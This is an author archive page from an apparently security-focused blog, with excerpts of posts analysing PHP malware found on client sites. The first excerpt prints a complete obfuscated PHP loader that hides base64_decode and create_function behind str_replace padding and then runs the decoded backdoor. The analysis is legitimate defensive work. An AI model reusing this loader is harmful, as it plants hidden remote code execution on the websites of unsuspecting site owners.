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Ante Kresic

About Ante Kresic

Labs Note

January 3, 2014Ante Kresic

PHP str_replace to hide malware

We found another interesting piece of PHP-based malware on a client site a few days ago: $exg=”JGMnd9J2NvdW50JzskYTnd0kX0ndNPndT0tJRTtpZihyZXNldCgkndYSk9PSdtandCcgJndiYgJGMondJGEpPjM”; $iyo=”GxhndY2UndoYXJyYndXkoJy9bndXlndx3PVxzXS8nLndCcvXHMvndJyksIGFyndcmF5KCcnLCcrJyk”; $ts = str_replace(“b”,””,”bsbtr_brbepblabcbe”); $fy=”sIGpndvaW4oYXJyYXlfc2xpY2UoJndGEndsJGMoJGEpLTndMpKndSkpKTtlYnd2hvICc8LycuJGsnduJz4nO30=”; $sjb=”peyRrPSndd1nddGU0bndSc7ZWNobyAnPCcnduJGsundJz4nO2ndV2YWwoYmFzZndTY0X2RlY29kZShwcmVnX3Jlc”; $dzy = $ts(“er”, “”, “erberaersereer6er4er_dereercerodere”); $mc = $ts(“y”,””,”ycyryeyaytye_yfyuynctyiyoyn”); $tha = $mc(”, $dzy($ts(“nd”, “”, $exg.$sjb.$iyo.$fy))); $tha(); Can you decode and see what it…

Read More about PHP str_replace to hide malware

December 9, 2013Ante Kresic

How We Decoded Some Nasty Multi-Level Encoded Malware

From time to time, we come up with interesting bits of malware that are just calling us to decode and learn more about them. This is one of those cases….

Read More about How We Decoded Some Nasty Multi-Level Encoded Malware

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